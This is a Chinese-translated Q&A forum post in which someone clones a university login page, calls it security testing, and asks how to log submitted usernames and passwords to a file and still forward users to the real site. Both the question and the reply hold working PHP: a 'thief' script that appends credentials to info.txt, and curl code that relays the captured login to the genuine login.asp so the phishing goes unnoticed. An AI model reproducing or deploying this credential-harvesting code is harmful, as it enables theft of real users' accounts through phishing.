需要使用PHP重定向和填写信息

时间:2014-07-03 15:05:43

标签: php html forms

我已经克隆了网站的登录页面并将其托管在我的个人服务器上,以便进行一些浏览器安全测试。我正在尝试记录登录信息,并仍然将用户重定向到未克隆的网站,登录。

这是我的HTML表单:

<form name="login" method="post" action="https://my.website.edu/e/portal/login.asp">
<input type="text" placeholder=" Username" name="username" id="username" alt="Username" style="width:100%;font-size:24px;" /><br/>
<input type="password" placeholder=" Password" name="pin" id="pin" alt="Password" style="width:100%;margin-top:5px;font-size:24px;" /><br/>
<input type="submit" value="Sign In" name="B1" style="width:101%;font-size:18px;height:35px;margin-top:5px;margin-bottom:5px;" />
<p><a href="https://my.website.edu/e/is/user/change_password_form.asp?t=2">Forgot Password?</a></p>
</form>

提交信息并点击提交会将用户登录到&#34;真实&#34;未克隆的网站。

我写了一个&#34;小偷&#34;将窃取信息并将其写入文件的脚本:

<?php

$txt = "info.txt";
$fh = fopen($txt, 'a+');
if (isset($_POST['username']) && isset($_POST['pin'])) {
   $txt=$_POST['username'].','.$_POST['pin'];
   file_put_contents('info.txt',$txt."\n",FILE_APPEND);
   exit();
}
   fwrite($fh,$txt);
   fclose($fh);
?>

我可以通过将表单更改为action =&#39; thief.php&#39;来执行此脚本,但我无法使用login.asp操作实际登录。

不使用javascript,是否可以从表单中获取$ _POST值,将它们写入我们的info.txt,然后以某种方式完成登录操作?

我觉得最好的方法是使用php脚本重定向回登录页面,用$ _POST值填写用户名/密码框,然后以某种方式执行提交,将用户无缝传输到表单原始操作的目的地。

我还需要哪些额外的PHP代码?还有更好的方法吗?

1 个答案:

答案 0 :(得分:0)

脚本之后的这样的事情:

$url = 'the-url.tld/blabla/login.asp';

$data = '';

// formating the post data with $_POST values
foreach( $_POST as $k => $v ){

    $data .= $k.'='.urlencode($v).'&';
}

$data = rtim($data, '&'); // delete the last & of $data

$ch = curl_init(); // init curl

curl_setopt($ch,CURLOPT_URL, $url); // set url
curl_setopt($ch,CURLOPT_POST, count($_POST)); // set number of $_POST fileds
curl_setopt($ch,CURLOPT_POSTFIELDS, $data); // set $_POST data

$res = curl_exec($ch); // execute the curl query and get result in $res

curl_close($ch); // close curl

var_dump($res); // show the result of query

你的脚本可以更简单:

$txt = "info.txt";

if( isset($_POST['username'], $_POST['pin']) ){

    $acc_infos = $_POST['username'].','.$_POST['pin']."\r\n";

    file_put_contents($txt, $acc_infos, FILE_APPEND);
}

玩得开心